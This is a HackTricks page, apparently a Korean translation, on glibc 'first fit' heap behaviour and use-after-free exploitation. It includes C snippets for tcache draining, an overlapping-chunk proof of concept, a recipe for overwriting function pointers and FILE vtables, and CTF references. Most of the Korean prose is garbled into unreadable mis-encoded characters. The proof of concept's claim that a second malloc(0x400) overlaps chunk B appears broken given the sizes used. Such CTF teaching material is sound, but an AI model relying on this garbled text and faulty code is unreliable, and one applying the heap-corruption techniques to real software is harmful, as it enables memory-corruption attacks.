First Fit

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

First Fit

glibc๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ์—์„œ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ•ด์ œํ•  ๋•Œ, ์„œ๋กœ ๋‹ค๋ฅธ โ€œ๋นˆโ€œ์ด ๋ฉ”๋ชจ๋ฆฌ ์ฒญํฌ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ๋‘ ๊ฐ€์ง€ ์ผ๋ฐ˜์ ์ธ ์‹œ๋‚˜๋ฆฌ์˜ค์— ๋Œ€ํ•œ ๊ฐ„๋‹จํ•œ ์„ค๋ช…์ž…๋‹ˆ๋‹ค: ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ๊ณผ ํŒจ์ŠคํŠธ ๋นˆ.

Unsorted Bins

ํŒจ์ŠคํŠธ ์ฒญํฌ๊ฐ€ ์•„๋‹Œ ๋ฉ”๋ชจ๋ฆฌ ์ฒญํฌ๋ฅผ ํ•ด์ œํ•˜๋ฉด, ๊ทธ๊ฒƒ์€ ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ์œผ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋นˆ์€ ์ƒˆ๋กœ ํ•ด์ œ๋œ ์ฒญํฌ๊ฐ€ ์•ž์ชฝ(โ€œํ—ค๋“œโ€)์— ์ถ”๊ฐ€๋˜๋Š” ๋ชฉ๋ก์ฒ˜๋Ÿผ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ƒˆ๋กœ์šด ๋ฉ”๋ชจ๋ฆฌ ์ฒญํฌ๋ฅผ ์š”์ฒญํ•  ๋•Œ, ํ• ๋‹น์ž๋Š” ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ์˜ ๋’ค์ชฝ(โ€œํ…Œ์ผโ€)์—์„œ ์ถฉ๋ถ„ํžˆ ํฐ ์ฒญํฌ๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ์˜ ์ฒญํฌ๊ฐ€ ํ•„์š”ํ•œ ๊ฒƒ๋ณด๋‹ค ํฌ๋ฉด, ๊ทธ๊ฒƒ์€ ๋ถ„ํ• ๋˜์–ด ์•ž๋ถ€๋ถ„์ด ๋ฐ˜ํ™˜๋˜๊ณ  ๋‚˜๋จธ์ง€ ๋ถ€๋ถ„์€ ๋นˆ์— ๋‚จ์•„ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ:

  • 300 ๋ฐ”์ดํŠธ(a)๋ฅผ ํ• ๋‹นํ•œ ๋‹ค์Œ, 250 ๋ฐ”์ดํŠธ(b)๋ฅผ ํ• ๋‹นํ•˜๊ณ , a๋ฅผ ํ•ด์ œํ•œ ํ›„ ๋‹ค์‹œ 250 ๋ฐ”์ดํŠธ(c)๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.
  • a๋ฅผ ํ•ด์ œํ•˜๋ฉด, ๊ทธ๊ฒƒ์€ ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ์œผ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ทธ ํ›„ ๋‹ค์‹œ 250 ๋ฐ”์ดํŠธ๋ฅผ ์š”์ฒญํ•˜๋ฉด, ํ• ๋‹น์ž๋Š” ํ…Œ์ผ์—์„œ a๋ฅผ ์ฐพ์•„ ๋ถ„ํ• ํ•˜๊ณ , ์š”์ฒญ์— ๋งž๋Š” ๋ถ€๋ถ„์„ ๋ฐ˜ํ™˜ํ•˜๋ฉฐ ๋‚˜๋จธ์ง€๋Š” ๋นˆ์— ๋‚จ๊น๋‹ˆ๋‹ค.
  • c๋Š” ์ด์ „์˜ a๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉฐ a์˜ ๋‚ด์šฉ์œผ๋กœ ์ฑ„์›Œ์ง‘๋‹ˆ๋‹ค.
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);

Fastbins

Fastbins์€ ์ž‘์€ ๋ฉ”๋ชจ๋ฆฌ ์ฒญํฌ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ๊ณผ ๋‹ฌ๋ฆฌ, fastbins์€ ์ƒˆ๋กœ์šด ์ฒญํฌ๋ฅผ ๋จธ๋ฆฌ์— ์ถ”๊ฐ€ํ•˜์—ฌ ํ›„์ž…์„ ์ถœ(LIFO) ๋™์ž‘์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ž‘์€ ๋ฉ”๋ชจ๋ฆฌ ์ฒญํฌ๋ฅผ ์š”์ฒญํ•˜๋ฉด, ํ• ๋‹น์ž๋Š” fastbin์˜ ๋จธ๋ฆฌ์—์„œ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

Example:

char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
char *d = malloc(20);
free(a);
free(b);
free(c);
free(d);
a = malloc(20);   // d
b = malloc(20);   // c
c = malloc(20);   // b
d = malloc(20);   // a

๐Ÿ”ฅ ํ˜„๋Œ€ glibc ๊ณ ๋ ค์‚ฌํ•ญ (tcache โ‰ฅ 2.26)

glibc 2.26๋ถ€ํ„ฐ ๊ฐ ์Šค๋ ˆ๋“œ๋Š” tcache๋ฅผ ์œ ์ง€ํ•˜๋ฉฐ, ์ด๋Š” ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ ์•ž์—์„œ ์ฟผ๋ฆฌ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ฒซ ๋ฒˆ์งธ ์ ํ•ฉ ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ์—๋งŒ ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ์š”์ฒญ๋œ ํฌ๊ธฐ๊ฐ€ tcache_max (๊ธฐ๋ณธ์ ์œผ๋กœ 64๋น„ํŠธ์—์„œ 0x420)๋ณด๋‹ค ์ปค์•ผ ํ•˜๋ฉฐ, ๋˜๋Š”
  2. ํ•ด๋‹น tcache ๋นˆ์ด ์ด๋ฏธ ๊ฐ€๋“ ์ฐจ ์žˆ๊ฑฐ๋‚˜ ์ˆ˜๋™์œผ๋กœ ๋น„์›Œ์กŒ์„ ๋•Œ (7๊ฐœ์˜ ์š”์†Œ๋ฅผ ํ• ๋‹นํ•˜๊ณ  ์‚ฌ์šฉ ์ค‘์œผ๋กœ ์œ ์ง€).

์‹ค์ œ ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋„์šฐ๋ฏธ ๋ฃจํ‹ด์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค:

// Drain the tcache for a given size
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
for(int i = 0; i < 7; i++) free(pool[i]);

tcache๊ฐ€ ์†Œ์ง„๋˜๋ฉด, ์ดํ›„์˜ free๋Š” unsorted bin์œผ๋กœ ๊ฐ€๊ณ  ๊ณ ์ „์ ์ธ first-fit ๋™์ž‘(๊ผฌ๋ฆฌ ๊ฒ€์ƒ‰, ๋จธ๋ฆฌ ์‚ฝ์ž…)์ด ๋‹ค์‹œ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


๐Ÿšฉ first-fit์„ ์ด์šฉํ•œ ๊ฒน์น˜๋Š” ์ฒญํฌ UAF ๋งŒ๋“ค๊ธฐ

์•„๋ž˜์˜ ์กฐ๊ฐ(ํ…Œ์ŠคํŠธ๋Š” glibc 2.38์—์„œ ์ˆ˜ํ–‰๋จ)์€ unsorted bin์˜ ๋ถ„ํ• ๊ธฐ๋ฅผ ์•…์šฉํ•˜์—ฌ 2๊ฐœ์˜ ๊ฒน์น˜๋Š” ํฌ์ธํ„ฐ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด๋Š” ๋‹จ์ผ free๋ฅผ write-after-free๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ฐ•๋ ฅํ•œ ์›์‹œ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
setbuf(stdout, NULL);

/* 1. prepare 2 adjacent chunks and free the first one */
char *A = malloc(0x420);   // big enough to bypass tcache
char *B = malloc(0x420);
strcpy(A, "AAAA\n");
free(A);                   // A โ†’ unsorted

/* 2. request a *smaller* size to force a split of A */
char *C = malloc(0x400);   // returns lower half of former A

/* 3. The remainder of A is still in the unsorted bin.
Another 0x400-byte malloc will now return the *same*
region pointed to by B โ€“ creating a UAF/overlap. */
char *C2 = malloc(0x400);

printf("B  = %p\nC2 = %p (overlaps B)\n", B, C2);

// Arbitrary write in B is immediately visible via C2
memset(B, 'X', 0x10);
fwrite(C2, 1, 0x10, stdout);  // prints Xs
}

Exploitation recipe (common in recent CTFs):

  1. ๋Œ€์ƒ ํฌ๊ธฐ์— ๋Œ€ํ•œ tcache๋ฅผ ๋น„์šฐ๊ธฐ.
  2. ์ฒญํฌ๋ฅผ ํ•ด์ œํ•˜์—ฌ ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ์— ๋ฐฐ์น˜ํ•˜๊ธฐ.
  3. ์กฐ๊ธˆ ๋” ์ž‘์€ ํฌ๊ธฐ๋ฅผ ํ• ๋‹นํ•˜๊ธฐ โ€“ ํ• ๋‹น์ž๋Š” ์ •๋ ฌ๋˜์ง€ ์•Š์€ ์ฒญํฌ๋ฅผ ๋ถ„ํ• ํ•ฉ๋‹ˆ๋‹ค.
  4. ๋‹ค์‹œ ํ• ๋‹นํ•˜๊ธฐ โ€“ ๋‚จ์€ ๋ถ€๋ถ„์ด ๊ธฐ์กด ์‚ฌ์šฉ ์ค‘์ธ ์ฒญํฌ์™€ ๊ฒน์นจ โ†’ UAF.
  5. ๋ฏผ๊ฐํ•œ ํ•„๋“œ(ํ•จ์ˆ˜ ํฌ์ธํ„ฐ, FILE vtable ๋“ฑ)๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ.

์‹ค์šฉ์ ์ธ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์€ 2024 HITCON Quals Setjmp ์ฑŒ๋ฆฐ์ง€์—์„œ ์ด ์ •ํ™•ํ•œ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๊ฐ€ UAF์—์„œ __free_hook์˜ ์ „์ฒด ์ œ์–ด๋กœ ํ”ผ๋ฒ—ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


๐Ÿ›ก๏ธ ์™„ํ™” ๋ฐ ๊ฐ•ํ™”

  • **์•ˆ์ „ํ•œ ๋งํฌ(glibc โ‰ฅ 2.32)**๋Š” ๋‹จ์ผ ์—ฐ๊ฒฐ๋œ tcache/fastbin ๋ชฉ๋ก๋งŒ ๋ณดํ˜ธํ•ฉ๋‹ˆ๋‹ค. ์ •๋ ฌ๋˜์ง€ ์•Š์€/์ž‘์€/ํฐ ๋นˆ์€ ์—ฌ์ „ํžˆ ์›์‹œ ํฌ์ธํ„ฐ๋ฅผ ์ €์žฅํ•˜๋ฏ€๋กœ, ํž™ ๋ˆ„์ˆ˜๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ฒซ ๋ฒˆ์งธ ์ ํ•ฉ ๊ธฐ๋ฐ˜์˜ ๊ฒน์นจ์ด ์—ฌ์ „ํžˆ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค.
  • ํž™ ํฌ์ธํ„ฐ ์•”ํ˜ธํ™” ๋ฐ MTE (ARM64)๋Š” ์•„์ง x86-64 glibc์— ์˜ํ–ฅ์„ ๋ฏธ์น˜์ง€ ์•Š์ง€๋งŒ, GLIBC_TUNABLES=glibc.malloc.check=3์™€ ๊ฐ™์€ ๋ฐฐํฌ ๊ฐ•ํ™” ํ”Œ๋ž˜๊ทธ๋Š” ์ผ๊ด€์„ฑ ์—†๋Š” ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ์—์„œ ์ค‘๋‹จ๋˜๋ฉฐ ๋‹จ์ˆœํ•œ PoC๋ฅผ ๊นจ๋œจ๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ•ด์ œ ์‹œ tcache ์ฑ„์šฐ๊ธฐ (2024๋…„ glibc 2.41์— ์ œ์•ˆ๋จ)๋Š” ์ •๋ ฌ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์„ ๋”์šฑ ์ค„์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค; ์ผ๋ฐ˜์ ์ธ ์ต์Šคํ”Œ๋กœ์ž‡์„ ๊ฐœ๋ฐœํ•  ๋•Œ ํ–ฅํ›„ ๋ฆด๋ฆฌ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”.

๊ธฐํƒ€ ์ฐธ์กฐ ๋ฐ ์˜ˆ์‹œ

  • https://heap-exploitation.dhavalkapil.com/attacks/first_fit
  • https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/
  • ARM64. Use after free: ์‚ฌ์šฉ์ž ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ํ•ด์ œํ•œ ํ›„, ํ•ด์ œ๋œ ์ฒญํฌ๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ๊ทธ์— ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ, ์ด์ „์˜ user->password ์œ„์น˜๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ. ์‚ฌ์šฉ์ž๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ ํ™•์ธ์„ ์šฐํšŒํ•˜๊ธฐ
  • https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example
  • ํ”„๋กœ๊ทธ๋žจ์€ ๋…ธํŠธ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋…ธํŠธ๋Š” malloc(8)์—์„œ ๋…ธํŠธ ์ •๋ณด๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ(ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ ํฌํ•จ) ๋‹ค๋ฅธ malloc()์— ๋…ธํŠธ์˜ ๋‚ด์šฉ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ์€ ๋…ธํŠธ ์ •๋ณด ํฌ๊ธฐ๋ณด๋‹ค ๋” ํฐ malloc ๋‚ด์šฉ์„ ๊ฐ€์ง„ 2๊ฐœ์˜ ๋…ธํŠธ(note0 ๋ฐ note1)๋ฅผ ์ƒ์„ฑํ•œ ๋‹ค์Œ, ์ด๋ฅผ ํ•ด์ œํ•˜์—ฌ ๋น ๋ฅธ ๋นˆ(๋˜๋Š” tcache)์œผ๋กœ ๋“ค์–ด๊ฐ€๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • ๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋‚ด์šฉ ํฌ๊ธฐ๊ฐ€ 8์ธ ๋˜ ๋‹ค๋ฅธ ๋…ธํŠธ(note2)๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋‚ด์šฉ์€ note1์— ์žˆ์„ ๊ฒƒ์ด๋ฉฐ, ์ฒญํฌ๊ฐ€ ์žฌ์‚ฌ์šฉ๋˜๋ฏ€๋กœ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ win ํ•จ์ˆ˜๋กœ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ณ , ๊ทธ๋Ÿฐ ๋‹ค์Œ Use-After-Free๋ฅผ ํ†ตํ•ด note1์„ ํ˜ธ์ถœํ•˜์—ฌ ์ƒˆ๋กœ์šด ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html
  • ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•˜๊ณ  ์›ํ•˜๋Š” ๊ฐ’์„ ์“ฐ๊ณ , ํ•ด์ œํ•œ ํ›„, ์žฌํ• ๋‹นํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด์ „ ๋ฐ์ดํ„ฐ๊ฐ€ ์—ฌ์ „ํžˆ ์กด์žฌํ•˜๋ฏ€๋กœ ์ฒญํฌ์˜ ์ƒˆ๋กœ์šด ์˜ˆ์ƒ ๊ตฌ์กฐ์— ๋”ฐ๋ผ ์ฒ˜๋ฆฌ๋˜์–ด ๊ฐ’์„ ์„ค์ •ํ•˜๊ฑฐ๋‚˜ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html
  • ์ด ๊ฒฝ์šฐ ํŠน์ • ์ฒญํฌ์— 4๋ฅผ ์จ์•ผ ํ•˜๋ฉฐ, ์ด๋Š” ํ• ๋‹น๋œ ์ฒซ ๋ฒˆ์งธ ์ฒญํฌ์ž…๋‹ˆ๋‹ค(๋ชจ๋“  ์ฒญํฌ๋ฅผ ๊ฐ•์ œ๋กœ ํ•ด์ œํ•œ ํ›„์—๋„). ๊ฐ ์ƒˆ๋กœ ํ• ๋‹น๋œ ์ฒญํฌ์˜ ๋ฐฐ์—ด ์ธ๋ฑ์Šค ๋ฒˆํ˜ธ๊ฐ€ ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ 4๊ฐœ์˜ ์ฒญํฌ(+ ์ฒ˜์Œ ํ• ๋‹น๋œ ์ฒญํฌ)๋ฅผ ํ• ๋‹นํ•˜๊ณ , ๋งˆ์ง€๋ง‰ ์ฒญํฌ์—๋Š” 4๊ฐ€ ๋“ค์–ด ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ•ด์ œํ•˜๊ณ  ์ฒซ ๋ฒˆ์งธ ์ฒญํฌ์˜ ์žฌํ• ๋‹น์„ ๊ฐ•์ œ๋กœ ํ•˜์—ฌ ๋งˆ์ง€๋ง‰์œผ๋กœ ํ•ด์ œ๋œ ์ฒญํฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด ์ฒญํฌ์—๋Š” 4๊ฐ€ ๋“ค์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • 2024 HITCON Quals Setjmp write-up (Quarkslab) โ€“ ์‹ค์šฉ์ ์ธ first-fit / ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋ถ„ํ•  ๊ฒน์นจ ๊ณต๊ฒฉ: https://ctftime.org/writeup/39355
  • Angstrom CTF 2024 heapify write-up โ€“ ์ •๋ ฌ๋˜์ง€ ์•Š์€ ๋นˆ ๋ถ„ํ• ์„ ์•…์šฉํ•˜์—ฌ libc๋ฅผ ๋ˆ„์ถœํ•˜๊ณ  ๊ฒน์นจ์„ ์–ป๊ธฐ: https://hackmd.io/@aneii11/H1S2snV40

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ